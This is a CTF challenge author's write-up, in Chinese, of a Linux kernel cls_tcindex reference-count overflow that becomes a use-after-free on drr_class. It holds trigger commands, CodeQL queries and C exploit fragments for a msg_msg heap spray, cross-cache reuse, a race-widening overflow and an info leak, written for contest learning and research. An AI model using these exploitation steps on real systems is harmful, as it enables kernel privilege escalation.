【Real World CTF 6th Writeup】RIPTC Write-up

2024年2月5日21:48:09评论62 views字数 28584阅读95分16秒阅读模式

0x00出题背景

某日瞥见Breaking the Code - Exploiting and Examining CVE-2023-1829 in cls_tcindex Classifier Vulnerability这篇文章，讲述了CVE-2023-1829漏洞成因及利用方法，对应的修复方案是删除整个cls_tcindex.c文件。今年net/sched攻击面在kctf/kernelCTF上大火，引起了安全社区对linux kernel安全的广泛关注，遂以历史遗迹tcindex为切入点，寻找该文件可能存在的其他安全问题，将这场贴身肉搏的经历献给RWCTF的参赛选手们，望乞海涵。

对题目感兴趣想先上手把玩的朋友，可以参考RIPTC的题目描述和附件，身临其境体验一番。

0x01漏洞挖掘

有关tcindex的知识需要对linux traffic control框架有基本的了解，可参考lartc文档，tc手册，以及内核源代码。参考历史漏洞CVE-2023-3776和CVE-2023-4206可知，net/sched/cls_*.c中常见的安全问题和在change filter过程中的tcf_bind_filter调用，以及struct tcf_result的处理方式有关。

审计net/sched/cls_tcindex.c文件发现，每次change tcindex时，如果原有的tcindex_data存在perfect hash table，则会根据传入的hash参数（表示hash table size）重新生成一个，并将原有的tcf_result内容进行拷贝，但拷贝数量的多少是取传入hash值和原有hash值的最小值，如果传入的hash值更小，则原有的一些tcf_result内容将会被直接遗弃：

C
if (p->perfect) {
int i;

if (tcindex_alloc_perfect_hash(net, cp) < 0)
goto errout;
cp->alloc_hash = cp->hash;
for (i = 0; i < min(cp->hash, p->hash); i++)
cp->perfect[i].res = p->perfect[i].res;
balloc = 1;
}

同时，在释放原有的tcindex_data过程中，也没有对cp->perfect[i].res做额外的tcf_unbind_filter操作：

C
static void tcindex_partial_destroy_work(struct work_struct *work)
{
struct tcindex_data *p = container_of(to_rcu_work(work),
struct tcindex_data,
rwork);

rtnl_lock();
if (p->perfect)
tcindex_free_perfect_hash(p);
kfree(p);
rtnl_unlock();
}

static void tcindex_free_perfect_hash(struct tcindex_data *cp)
{
int i;

for (i = 0; i < cp->hash; i++)
tcf_exts_destroy(&cp->perfect[i].exts);
kfree(cp->perfect);
}

配合tcindex的classid参数，则可对某个class多次进行tcf_bind_filter操作，导致bind和unbind的次数不匹配：

C
if (tb[TCA_TCINDEX_CLASSID]) {
cr.classid = nla_get_u32(tb[TCA_TCINDEX_CLASSID]);
tcf_bind_filter(tp, &cr, base);
}

oldp = p;
r->res = cr;
tcf_exts_change(&r->exts, &e);

rcu_assign_pointer(tp->root, cp);

以drr_class为例子，对某个class bind一次则cl->filter_cnt++，class地址和classid被保存至p->perfect[i].res，因为对tcindex的change操作，导致res内容被遗弃，再次重复前文步骤则可导致该class的引用计数filter_cnt多次增加。当最后一次bind使其溢出回环至0时，删除释放对应class，而在res中仍有对该class的引用，传入数据包触发tcindex_classify后即可对该class造成UAF。

C
struct drr_class {
struct Qdisc_class_common common;
unsigned int filter_cnt;

struct gnet_stats_basic_sync bstats;
struct gnet_stats_queue qstats;
struct net_rate_estimator __rcu *rate_est;
struct list_head alist;
struct Qdisc *qdisc;

u32 quantum;
u32 deficit;
};

static int drr_delete_class(struct Qdisc *sch, unsigned long arg,
struct netlink_ext_ack *extack)
{
struct drr_sched *q = qdisc_priv(sch);
struct drr_class *cl = (struct drr_class *)arg;

if (cl->filter_cnt > 0)
return -EBUSY;

sch_tree_lock(sch);

qdisc_purge_queue(cl->qdisc);
qdisc_class_hash_remove(&q->clhash, &cl->common);

sch_tree_unlock(sch);

drr_destroy_class(sch, cl);
return 0;
}

static unsigned long drr_bind_tcf(struct Qdisc *sch, unsigned long parent,
u32 classid)
{
struct drr_class *cl = drr_find_class(sch, classid);

if (cl != NULL)
cl->filter_cnt++;

return (unsigned long)cl;
}

static void drr_unbind_tcf(struct Qdisc *sch, unsigned long arg)
{
struct drr_class *cl = (struct drr_class *)arg;

cl->filter_cnt--;
}

static const struct Qdisc_class_ops drr_class_ops = {
.change = drr_change_class,
.delete = drr_delete_class,
.find = drr_search_class,
.tcf_block = drr_tcf_block,
.bind_tcf = drr_bind_tcf,
.unbind_tcf = drr_unbind_tcf,
.graft = drr_graft_class,
.leaf = drr_class_leaf,
.qlen_notify = drr_qlen_notify,
.dump = drr_dump_class,
.dump_stats = drr_dump_class_stats,
.walk = drr_walk,
};

你可能会问对同一个class多次bind行不行，因为每次filter bind都会对之前的class进行一次unbind，相当于每个tcindex filter只能bind一次同一个class。至于创建超级多个filter去bind同一个class，内核内存自然也是经受不住的：

C
static inline void
__tcf_bind_filter(struct Qdisc *q, struct tcf_result *r, unsigned long base)
{
unsigned long cl;

cl = q->ops->cl_ops->bind_tcf(q, base, r->classid);
cl = __cls_set_class(&r->class, cl);
if (cl)
q->ops->cl_ops->unbind_tcf(q, cl);
}

综上，可以编译个本地环境使用静态编译的tc文件，对同一个drr_class bind两次：

Plain Text
/ # ./tc qdisc add dev lo handle 1 root drr
/ # ./tc class add dev lo parent 1: classid 1:1 drr
/ # ./tc filter add dev lo parent 1: handle 9 prio 1 tcindex hash 16 mask 15 classid 1:1
/ # ./tc -s filter show dev lo
filter parent 1: protocol all pref 1 tcindex chain 0
filter parent 1: protocol all pref 1 tcindex chain 0 handle 0x0009 classid 1:1
/ # ./tc filter replace dev lo parent 1: prio 1 tcindex hash 8 mask 7
/ # ./tc -s filter show dev lo
filter parent 1: protocol all pref 1 tcindex chain 0
/ # ./tc filter replace dev lo parent 1: handle 9 prio 1 tcindex hash 16 mask 15 classid 1:1
/ # ./tc -s filter show dev lo
filter parent 1: protocol all pref 1 tcindex chain 0
filter parent 1: protocol all pref 1 tcindex chain 0 handle 0x0009 classid 1:1
/ # ./tc filter replace dev lo parent 1: prio 1 tcindex hash 8 mask 7
/ # ./tc -s filter show dev lo
filter parent 1: protocol all pref 1 tcindex chain 0

Plain Text
gef➤ p *(struct drr_class *)arg
$1 = {
common = {
classid = 0x10001,
hnode = {
next = 0x0 <fixed_percpu_data>,
pprev = 0xffff8880058142c8
}
},
filter_cnt = 0x2,

0x02环境搭建

如果要将这个引用计数整数溢出导致的UAF漏洞转化成真实的漏洞利用场景，首当其冲的是触发漏洞的时间长短问题，比如类似问题的CVE-2016-0728有较短的触发路径，在Intel Core i7-5500 CPU上跑了半小时，类似路径场景的Issue 1423266跑20bit都要花费至少一小时，我本地测试20bit需要跑3分钟，考虑到比赛时利用的时长和调试的方便程度，决定将drr_class的filter_cntpatch为16bit。

C
struct drr_class {
struct Qdisc_class_common common;
unsigned int filter_cnt:16;

struct gnet_stats_basic_sync bstats;
struct gnet_stats_queue qstats;
struct net_rate_estimator __rcu *rate_est;
struct list_head alist;
struct Qdisc *qdisc;

u32 quantum;
u32 deficit;
};

但是如果将该patch直接以源码的形式发放给参赛选手，则会瞬间暴露因patch引入的引用计数问题，转而直接去调用tcindex劫持执行流，无法引导大家去挖掘前文的漏洞了，所以我选择将patch以vmlinux的形式进行体现，增强选手对整体内核环境的理解。当然，联系发现的漏洞利用场景和题目描述，可根据提供的.config编译vmlinux，快速bindiff出patch点：

【Real World CTF 6th Writeup】RIPTC Write-up

因为要引入被删除的cls_tcindex.c文件，这里选择6.1.72内核版本源码，反向引入patch：

Bash
wget https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/patch/?id=b93aeb6352b0229e3c5ca5ca4ff015b015aff33c -O rsvp.patch
patch -p1 -R < rsvp.patch
wget https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/patch/?id=3abebc503a5148072052c229c6b04b329a420ecd -O tcindex.patch
patch -p1 -R < tcindex.patch
wget https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/patch/?id=97e3d26b5e5f371b3ee223d94dd123e6c442ba80 -O CPU-entry-area.patch
patch -p1 < CPU-entry-area.patch

关于.config文件和运行环境，参考kernelCTF的相关build和本地运行脚本，对于内核的安全机制应开尽开，关闭了CONFIG_IO_URING、CONFIG_NETFILTER、CONFIG_NET_CLS_ACT（间接disable CVE-2023-1829的原始问题）和多余的CONFIG_NET_CLS_*，以及modprobe_path和cpu_entry_area的trick。最后因为有部分的tc利用代码可参考，将nsjail的time_limit调整为120秒，顺便考验一下大家的编程能力。

0x03利用方案

primitive

将漏洞场景抽象下，就是可以多次对drr_class这个kmalloc-128 object进行UAF。在内核代码上下文中，首先可知有个任意地址call的原语，drr_enqueue-> drr_classify获取到free后的drr_class对象，即通过skb->tc_index指定对应的res中的class地址：

C
static int tcindex_classify(struct sk_buff *skb, const struct tcf_proto *tp,
struct tcf_result *res)
{
struct tcindex_data *p = rcu_dereference_bh(tp->root);
struct tcindex_filter_result *f;
int key = (skb->tc_index & p->mask) >> p->shift;

pr_debug("tcindex_classify(skb %p,tp %p,res %p),p %pn",
skb, tp, res, p);

f = tcindex_lookup(p, key);
if (!f) {
struct Qdisc *q = tcf_block_q(tp->chain->block);

if (!p->fall_through)
return -1;
res->classid = TC_H_MAKE(TC_H_MAJ(q->handle), key);
res->class = 0;
pr_debug("alg 0x%xn", res->classid);
return 0;
}
*res = f->res;
pr_debug("map 0x%xn", res->classid);

return tcf_exts_exec(skb, &f->exts, res);
}

随后的qdisc_enqueue即会调用cl->qdisc->enqueue，只要cl两层引用后的内容可控，就能劫持执行流去做ROP：

C
static int drr_enqueue(struct sk_buff *skb, struct Qdisc *sch,
struct sk_buff **to_free)
{
unsigned int len = qdisc_pkt_len(skb);
struct drr_sched *q = qdisc_priv(sch);
struct drr_class *cl;
int err = 0;
bool first;

cl = drr_classify(skb, sch, &err);
if (cl == NULL) {
if (err & __NET_XMIT_BYPASS)
qdisc_qstats_drop(sch);
__qdisc_drop(skb, to_free);
return err;
}

first = !cl->qdisc->q.qlen;
err = qdisc_enqueue(skb, cl->qdisc, to_free);
if (unlikely(err != NET_XMIT_SUCCESS)) {
if (net_xmit_drop_count(err)) {
cl->qstats.drops++;
qdisc_qstats_drop(sch);
}
return err;
}

C
static inline int qdisc_enqueue(struct sk_buff *skb, struct Qdisc *sch,
struct sk_buff **to_free)
{
qdisc_calculate_pkt_len(skb, sch);
return sch->enqueue(skb, sch, to_free);
}

大多数的kernelCTF和TC相关的writeup都没有提及tcf_unbind_filter相关的原语，在free掉drr_class对象后，在sch_drr.c中基本上找不到直接相关的原语了，还是得和res挂上钩，转到cls_tcindex.c中仅有的只是tcf_unbind_filter操作了（有好几条路径可达如delete等）：

C
static inline void
__tcf_unbind_filter(struct Qdisc *q, struct tcf_result *r)
{
unsigned long cl;

if ((cl = __cls_set_class(&r->class, 0)) != 0)
q->ops->cl_ops->unbind_tcf(q, cl);
}

static inline void
tcf_unbind_filter(struct tcf_proto *tp, struct tcf_result *r)
{
struct Qdisc *q = tp->chain->block->q;

if (!q)
return;
__tcf_unbind_filter(q, r);
}

C
static void drr_unbind_tcf(struct Qdisc *sch, unsigned long arg)
{
struct drr_class *cl = (struct drr_class *)arg;

cl->filter_cnt--;
}

在tcindex_delete-> tcf_unbind_filter-> drr_unbind_tcf流转后，偏移24处的filter_cnt会减去1：

Plain Text
gef➤ ptype /o struct drr_class
/* offset | size */ type = struct drr_class {
/* 0 | 24 */ struct Qdisc_class_common {
/* 0 | 4 */ u32 classid;
/* XXX 4-byte hole */
/* 8 | 16 */ struct hlist_node {
/* 8 | 8 */ struct hlist_node *next;
/* 16 | 8 */ struct hlist_node **pprev;

/* total size (bytes): 16 */
} hnode;

/* total size (bytes): 24 */
} common;
/* 24: 0 | 4 */ unsigned int filter_cnt : 16;
/* XXX 6-byte hole */
/* 32 | 16 */ struct gnet_stats_basic_sync {
/* 32 | 8 */ u64_stats_t bytes;
/* 40 | 8 */ u64_stats_t packets;
/* 48 | 0 */ struct u64_stats_sync {
<no data fields>

/* total size (bytes): 0 */
} syncp;

/* total size (bytes): 16 */
} bstats;
/* 48 | 20 */ struct gnet_stats_queue {
/* 48 | 4 */ __u32 qlen;
/* 52 | 4 */ __u32 backlog;
/* 56 | 4 */ __u32 drops;
/* 60 | 4 */ __u32 requeues;
/* 64 | 4 */ __u32 overlimits;

/* total size (bytes): 20 */
} qstats;
/* XXX 4-byte hole */
/* 72 | 8 */ struct net_rate_estimator *rate_est;
/* 80 | 16 */ struct list_head {
/* 80 | 8 */ struct list_head *next;
/* 88 | 8 */ struct list_head *prev;

/* total size (bytes): 16 */
} alist;
/* 96 | 8 */ struct Qdisc *qdisc;
/* 104 | 4 */ u32 quantum;
/* 108 | 4 */ u32 deficit;

/* total size (bytes): 112 */
}

因为最后时刻可以多次绑定同一个class至不同的res，所以在重新占位后可多次进行unbind减一操作，修改object中的关键字段，如在cve-2021-22555考虑到的Reference counter和Pointer in a struct，但是常见结构体中符合kmalloc-128的subprocess_info已不再可用，需要考虑其他弹性结构体。又或者是修改诸如size的字段至负数，可能会造成信息泄漏，这里使用CodeQL借鉴@veritas501和@nccgroup的编写思路，查看在偏移24处有用的字段和结构体：

Plain Text
/**
* This is an automatically generated file
* @name Hello world
* @kind problem
* @problem.severity warning
* @id cpp/example/hello-world
*/

import cpp

from FunctionCall fc, Function f, Type typ, Field field
where
f = fc.getTarget() and
f.getName().regexpMatch("k[a-z]*alloc") and
typ = fc.getActualType().(PointerType).getBaseType() and
field.getDeclaringType() = typ and
field.getByteOffset() = 24 and
not fc.getEnclosingFunction().getFile().getRelativePath().regexpMatch("arch.*") and
not fc.getEnclosingFunction().getFile().getRelativePath().regexpMatch("drivers.*")
select fc, "In $@, $@ called once $@ with struct $@ filed $@ at offset 24",
fc,fc.getEnclosingFunction().getFile().getRelativePath(), fc.getEnclosingFunction(),
fc.getEnclosingFunction().getName().toString(), fc, f.getName(), typ,
typ.getName(), field, field.getName()

可发现我们在利用中比较常见的simple_xattr和msg_msg：

【Real World CTF 6th Writeup】RIPTC Write-up

msg_msg overflow

顺着修改size字段去信息泄漏的思路，如果是对于simple_xattr，原size大小在memcpy之前就会和目的buffer size做比较，如果减至负数则肯定直接返回错误，而且getxattr系统调用对于buffer size的大小也有XATTR_SIZE_MAX的限制：

C
/*
* xattr GET operation for in-memory/pseudo filesystems
*/
int simple_xattr_get(struct simple_xattrs *xattrs, const char *name,
void *buffer, size_t size)
{
struct simple_xattr *xattr;
int ret = -ENODATA;

spin_lock(&xattrs->lock);
list_for_each_entry(xattr, &xattrs->head, list) {
if (strcmp(name, xattr->name))
continue;

ret = xattr->size;
if (buffer) {
if (size < xattr->size)
ret = -ERANGE;
else
memcpy(buffer, xattr->value, xattr->size);
}
break;
}
spin_unlock(&xattrs->lock);
return ret;
}

对于我们熟悉的msg_msg，同样存在相同的检查逻辑，毕竟是为了防止一切可能的溢出：

C
struct msg_msg *copy_msg(struct msg_msg *src, struct msg_msg *dst)
{
struct msg_msgseg *dst_pseg, *src_pseg;
size_t len = src->m_ts;
size_t alen;

if (src->m_ts > dst->m_ts)
return ERR_PTR(-EINVAL);

alen = min(len, DATALEN_MSG);
memcpy(dst + 1, src + 1, alen);

for (dst_pseg = dst->next, src_pseg = src->next;
src_pseg != NULL;
dst_pseg = dst_pseg->next, src_pseg = src_pseg->next) {

len -= alen;
alen = min(len, DATALEN_SEG);
memcpy(dst_pseg + 1, src_pseg + 1, alen);
}

dst->m_type = src->m_type;
dst->m_ts = src->m_ts;

return dst;
}

如果说不走MSG_COPY路径，带上MSG_NOERROR的flag，最终进入store_msg函数，过长的msgsz在copy_to_user时也会因为CONFIG_HARDENED_USERCOPY而失败。再次回到copy_msg的代码片段，虽然对于src->m_ts的检查使用有TOCTOU的味道，但是这期间的时间窗口实在是太短了无法利用。

那怎么样才能过if (src->m_ts > dst->m_ts)的检查呢，洗个澡就想出来了XD。我们可以去修改递减dst->m_ts为负数，如果本来src->m_ts就大于dst->m_ts，那么过掉检查和memcpy之后，较大的src msg_msg内容复制到较小的dst msg_msg内容，即可overflow至dst msg_msg后面的object对象！如果该object依旧是个msg_msg，那么溢出修改其m_ts字段，即可顺利达到我们想要根据size进行leak的需求。

【Real World CTF 6th Writeup】RIPTC Write-up

别高兴得太早，这个dst的msg_msg是从哪里来的呢，让我们聚焦到do_msgrcv函数，其首先根据MSG_COPY调用prepare_copy函数生成一个新的msg_msg，注意在其load_msg成功后会立即设置copy->m_ts为合适的接收的bufsz：

C
/*
* This function creates new kernel message structure, large enough to store
* bufsz message bytes.
*/
static inline struct msg_msg *prepare_copy(void __user *buf, size_t bufsz)
{
struct msg_msg *copy;

/*
* Create dummy message to copy real message to.
*/
copy = load_msg(buf, bufsz);
if (!IS_ERR(copy))
copy->m_ts = bufsz;
return copy;
}

然后在find_msg找到要rcv的msg_msg后即会立即调用copy_msg函数，src为find到的msg_msg，dst为新生成的msg_msg，因为要通过tcf_unbind_filter操作递减dst->m_ts，所以这里仍然存在一个从prepare_copy设置m_ts到copy_msg判断的时间窗口：

C
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
int mode;
struct msg_queue *msq;
struct ipc_namespace *ns;
struct msg_msg *msg, *copy = NULL;
DEFINE_WAKE_Q(wake_q);

ns = current->nsproxy->ipc_ns;

if (msqid < 0 || (long) bufsz < 0)
return -EINVAL;

if (msgflg & MSG_COPY) {
if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT)) // [3]
return -EINVAL;
copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax));
if (IS_ERR(copy))
return PTR_ERR(copy);
}
mode = convert_mode(&msgtyp, msgflg);

rcu_read_lock();
msq = msq_obtain_object_check(ns, msqid);
if (IS_ERR(msq)) {
rcu_read_unlock();
free_copy(copy);
return PTR_ERR(msq);
}

for (;;) {
struct msg_receiver msr_d;

msg = ERR_PTR(-EACCES);
if (ipcperms(ns, &msq->q_perm, S_IRUGO))
goto out_unlock1;

ipc_lock_object(&msq->q_perm); // [4]

/* raced with RMID? */
if (!ipc_valid_object(&msq->q_perm)) {
msg = ERR_PTR(-EIDRM);
goto out_unlock0;
}

msg = find_msg(msq, &msgtyp, mode); // [5]
if (!IS_ERR(msg)) {
/*
* Found a suitable message.
* Unlink it from the queue.
*/
if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
msg = ERR_PTR(-E2BIG);
goto out_unlock0;
}
/*
* If we are copying, then do not unlink message and do
* not update queue parameters.
*/
if (msgflg & MSG_COPY) {
msg = copy_msg(msg, copy);
goto out_unlock0;
}

list_del(&msg->m_list);
msq->q_qnum--;
msq->q_rtime = ktime_get_real_seconds();
ipc_update_pid(&msq->q_lrpid, task_tgid(current));
msq->q_cbytes -= msg->m_ts;
percpu_counter_sub_local(&ns->percpu_msg_bytes, msg->m_ts);
percpu_counter_sub_local(&ns->percpu_msg_hdrs, 1);
ss_wakeup(msq, &wake_q, false);

goto out_unlock0;
}

/* No message waiting. Wait for a message */
if (msgflg & IPC_NOWAIT) { // [1]
msg = ERR_PTR(-ENOMSG);
goto out_unlock0;
}

list_add_tail(&msr_d.r_list, &msq->q_receivers);
msr_d.r_tsk = current;
msr_d.r_msgtype = msgtyp;
msr_d.r_mode = mode;
if (msgflg & MSG_NOERROR)
msr_d.r_maxsize = INT_MAX;
else
msr_d.r_maxsize = bufsz;

/* memory barrier not require due to ipc_lock_object() */
WRITE_ONCE(msr_d.r_msg, ERR_PTR(-EAGAIN));

/* memory barrier not required, we own ipc_lock_object() */
__set_current_state(TASK_INTERRUPTIBLE);

ipc_unlock_object(&msq->q_perm);
rcu_read_unlock();
schedule(); // [2]

/*
* Lockless receive, part 1:
* We don't hold a reference to the queue and getting a
* reference would defeat the idea of a lockless operation,
* thus the code relies on rcu to guarantee the existence of
* msq:
* Prior to destruction, expunge_all(-EIRDM) changes r_msg.
* Thus if r_msg is -EAGAIN, then the queue not yet destroyed.
*/
rcu_read_lock();

/*
* Lockless receive, part 2:
* The work in pipelined_send() and expunge_all():
* - Set pointer to message
* - Queue the receiver task for later wakeup
* - Wake up the process after the lock is dropped.
*
* Should the process wake up before this wakeup (due to a
* signal) it will either see the message and continue ...
*/
msg = READ_ONCE(msr_d.r_msg);
if (msg != ERR_PTR(-EAGAIN)) {
/* see MSG_BARRIER for purpose/pairing */
smp_acquire__after_ctrl_dep();

goto out_unlock1;
}

/*
* ... or see -EAGAIN, acquire the lock to check the message
* again.
*/
ipc_lock_object(&msq->q_perm);

msg = READ_ONCE(msr_d.r_msg);
if (msg != ERR_PTR(-EAGAIN))
goto out_unlock0;

list_del(&msr_d.r_list);
if (signal_pending(current)) {
msg = ERR_PTR(-ERESTARTNOHAND);
goto out_unlock0;
}

ipc_unlock_object(&msq->q_perm);
}

out_unlock0:
ipc_unlock_object(&msq->q_perm);
wake_up_q(&wake_q);
out_unlock1:
rcu_read_unlock();
if (IS_ERR(msg)) {
free_copy(copy);
return PTR_ERR(msg);
}

bufsz = msg_handler(buf, msg, bufsz);
free_msg(msg);

return bufsz;
}

纵观do_msgrcv的代码，想要扩充这个时间窗口：

首先可设置IPC_NOWAIT flag [1]，假如msg queue中不存在对应所需要的msg_msg则进入schedule [2]，但是IPC_NOWAIT不能和MSG_COPY同时设置[3]，这条路堵死了。

借鉴@Jann Horn的条件竞争思路，在ipc_lock_object [4]处，使用msgctl_stat竞争抢占该spinlock，但相关系统调用都存在进入系统调用和copy_to_user的时间消耗，总体效果不佳。

逐行审计代码含义，发现find_msg [5]有个有趣的循环，如果设置MSG_COPY则搜索模式为SEARCH_NUMBER，即我们msg_queue中有多少个msg_msg，最多就可以循环多少次进行查找：

C
static struct msg_msg *find_msg(struct msg_queue *msq, long *msgtyp, int mode)
{
struct msg_msg *msg, *found = NULL;
long count = 0;

list_for_each_entry(msg, &msq->q_messages, m_list) {
if (testmsg(msg, *msgtyp, mode) &&
!security_msg_queue_msgrcv(&msq->q_perm, msg, current,
*msgtyp, mode)) {
if (mode == SEARCH_LESSEQUAL && msg->m_type != 1) {
*msgtyp = msg->m_type - 1;
found = msg;
} else if (mode == SEARCH_NUMBER) {
if (*msgtyp == count)
return msg;
} else
return msg;
count++;
}
}

return found ?: ERR_PTR(-EAGAIN);
}

类似的，在tcindex_destroy中，也有一个循环去做tcf_unbind_filter减1的操作：

C
static void tcindex_destroy(struct tcf_proto *tp, bool rtnl_held,
struct netlink_ext_ack *extack)
{
struct tcindex_data *p = rtnl_dereference(tp->root);
int i;

pr_debug("tcindex_destroy(tp %p),p %pn", tp, p);

if (p->perfect) {
for (i = 0; i < p->hash; i++) {
struct tcindex_filter_result *r = p->perfect + i;

/* tcf_queue_work() does not guarantee the ordering we
* want, so we have to take this refcnt temporarily to
* ensure 'p' is freed after all tcindex_filter_result
* here. Imperfect hash does not need this, because it
* uses linked lists rather than an array.
*/
tcindex_data_get(p);

tcf_unbind_filter(tp, &r->res);
if (tcf_exts_get_net(&r->exts))
tcf_queue_work(&r->rwork,
tcindex_destroy_rexts_work);
else
__tcindex_destroy_rexts(r);
}
}

for (i = 0; p->h && i < p->hash; i++) {
struct tcindex_filter *f, *next;
bool last;

for (f = rtnl_dereference(p->h[i]); f; f = next) {
next = rtnl_dereference(f->next);
tcindex_delete(tp, &f->result, &last, rtnl_held, NULL);
}
}

tcf_queue_work(&p->rwork, tcindex_destroy_work);
}

因为msg_msg的头部占0x30字节，msg_msg的内容得大于0x30才能分配到kmalloc-cg-128，如0x40的大小只需要0x41次unbind即可使dst->m_ts为负数，将find_msg的循环设置为0x2000甚至是更大，这样就很轻松完成该条件竞争，overflow相邻msg_msg了：

【Real World CTF 6th Writeup】RIPTC Write-up

其实除了时间窗口，我还需要确保循环减1的drr_class对象，正好是prepare_copy生成的msg_msg对象，基础的cross cache做完之后（下一节详解），只是一般性的堆喷和FUSE的多线程来卡点都会降低利用的成功率。借鉴CVE-2022-29582的想法，我找到了一个精准定位的方法。

虽然存在CONFIG_SLAB_FREELIST_RANDOM，因为unbind减1就相当于m_ts减1，在减1后通过MSG_COPY的返回值即可确定这个被绑定多次的drr_class对象：

C
static void find_cross_cache(void)
{
int i;
int ret;
struct msgbuf {
long mtype;
char mtext[0x40];
} msg;

send_del_filter(0x42);
sleep(5);

memset(&msg, 0, sizeof(msg));
for (i = 0; i < 2 * SPRAY_PAGE_NUM * ONEPAGE_K128_NUM; i++) {
ret = msgrcv(g_qid[i], &msg, 0x3f, 0, IPC_NOWAIT | MSG_COPY);
if (ret > 0) {
found_cross_qid = i;
break;
}
}

if (found_cross_qid < 0) {
printf("[-] Cannot find the cross cache one :(n");
exit(-1);
}

printf("[+] Find the cross cache one is at %d msgqn", found_cross_qid);
}

因为前期的defragmentation会导致kmem_cache_cpu中还存在一定数量的free object，先将已经识别出来的这个object通过msgrcv给释放掉（挂在per cpu partial），喷1个page的msg_msg object，减1再次识别出这个重占位的msg_msg是32个中第X个分配的（从0开始），再次msgrcv该对象，最后分配X+1个msg_msg，下一次分配的时候即可重新占位到被绑定多次的drr_class对象：

【Real World CTF 6th Writeup】RIPTC Write-up

C
static void find_reuse_one(void)
{
int i;
int ret;
struct msgbuf {
long mtype;
char mtext[0x40];
} msg;

memset(&msg, 0, sizeof(msg));
ret = msgrcv(g_qid[found_cross_qid], &msg, 0x3f, 1, IPC_NOWAIT);
if (ret < 0)
errExit("[-] msgrcv to free the cross cache one");

msg.mtype = 1;
memset(msg.mtext, 'G', sizeof(msg.mtext));
for (i = 0; i < REUSE_PAGE_NUM * ONEPAGE_K128_NUM; i++) {
ret = msgsnd(g_reuse_qid[i], &msg, sizeof(msg.mtext), 0);
if (ret < 0)
errExit("[-] msgsnd to alloc msg_msg");
}

send_del_filter(0x43);

memset(&msg, 0, sizeof(msg));
for (i = 0; i < REUSE_PAGE_NUM * ONEPAGE_K128_NUM; i++) {
ret = msgrcv(g_reuse_qid[i], &msg, 0x3f, 0, IPC_NOWAIT | MSG_COPY);
if (ret > 0) {
found_reuse_qid = i;
break;
}
}

if (found_reuse_qid < 0) {
printf("[-] Cannot find the reuse one :(n");
exit(-1);
}

printf("[+] Find the reuse one is at %d msgqn", found_reuse_qid);

memset(&msg, 0, sizeof(msg));
ret = msgrcv(g_reuse_qid[found_reuse_qid], &msg, 0x3f, 1, IPC_NOWAIT);
if (ret < 0)
errExit("[-] msgrcv to free the reuse one");

msg.mtype = 2;
memset(msg.mtext, 'H', sizeof(msg.mtext));
for (i = 0; i < found_reuse_qid + 1; i++) {
ret = msgsnd(g_reuse_qid[i], &msg, sizeof(msg.mtext), 0);
if (ret < 0)
errExit("[-] msgsnd to alloc msg_msg");
}
}

cross cache

要使得kmalloc-128的drr_class转化为kmalloc-cg-128的msg_msg，自然是要做一层cross cache的转换，具体思路代码可参考cache-of-castaways writeup使用alloc_pg_vec去做堆风水。先耗尽现有的kmalloc-128和kmalloc-cg-128 solt，然后堆风水分隔开order 0 page，分配drr_class，将其中一个class bind至溢出，释放所有的drr_class，最后使用msg_msg进行占位：

C
drain_kmalloc_cg_128();
drain_kmalloc_128();
prepare_page_fengshui();
alloc_drr_classes();
bind_to_overflow();
free_drr_classes();
alloc_msg_msgs();

这里面涉及一个问题，我要释放多少个drr_class对象，才能使相应的slab回到伙伴系统。参考图解slub，只需kmem_cache_node的nr_partial大于kmem_cache的min_partial即可。对于per cpu partial上的slab迁移，取决于kmem_cache的cpu_partial的成员大小，但对于cpu_partial大小的含义，在原文中和官方文档中解释的不一样，究竟是free object的数量，还是其上挂的page数量。

我最开始是在5.15.94上测试poc代码，结合之前CVE-2022-29582的writeup，以及放狗搜索的探讨，之前对于cpu partial的解释确实是其上挂的page数量：

This means that in practice, SLUB actually ends up keeping as manypages on the percpu partial lists as it intends to keep free objects there.

后来经过commit的兼容修复，在6.1.72上cpu_partial则表示为free object的数量，slab迁移的边界条件则是动态计算：

C
static void slub_set_cpu_partial(struct kmem_cache *s, unsigned int nr_objects)
{
unsigned int nr_slabs;

s->cpu_partial = nr_objects;

/*
* We take the number of objects but actually limit the number of
* slabs on the per cpu partial list, in order to limit excessive
* growth of the list. For simplicity we assume that the slabs will
* be half-full.
*/
nr_slabs = DIV_ROUND_UP(nr_objects * 2, oo_objects(s->oo));
s->cpu_partial_slabs = nr_slabs;
}

所以无论per cpu partial上挂的page数量最大值是30还是8，我设定的总量是SPRAY_PAGE_NUM + DRAIN_PAGE_NUM = 56，终究都会传递回至buddy系统：

C
static void free_drr_classes(void)
{
int i;

for (i = 1; i <= SPRAY_PAGE_NUM * ONEPAGE_K128_NUM; i += ONEPAGE_K128_NUM) {
send_del_class(U_QDISC_HANDLE | (i));
}

for (i = 1; i <= DRAIN_PAGE_NUM * ONEPAGE_K128_NUM; i += ONEPAGE_K128_NUM) {
send_del_class(U_QDISC_HANDLE | (SPRAY_PAGE_NUM * ONEPAGE_K128_NUM + i));
}

for (i = 1; i <= SPRAY_PAGE_NUM * ONEPAGE_K128_NUM; i++) {
if ((i % ONEPAGE_K128_NUM) == 1)
continue;
send_del_class(U_QDISC_HANDLE | (i));
}

printf("[+] Free drr_class to buddy donen");
}

info leak

现在通过改大m_ts去做msg_msg越界读，我们提前在生成msg_msg时，在其内容中放置有关qid信息，即可知道相邻msg_msg是属于哪个msg_queue了。在msgsnd中会将发送的msg_msg链入同一个msq->q_messages，这样新加入一个较大的带rop payload的msg_msg，越界读后即可泄漏出可控内容的堆地址：

C
if (!pipelined_send(msq, msg, &wake_q)) {
/* no one is waiting for this message, enqueue it */
list_add_tail(&msg->m_list, &msq->q_messages);
msq->q_cbytes += msgsz;
msq->q_qnum++;
percpu_counter_add_local(&ns->percpu_msg_bytes, msgsz);
percpu_counter_add_local(&ns->percpu_msg_hdrs, 1);
}

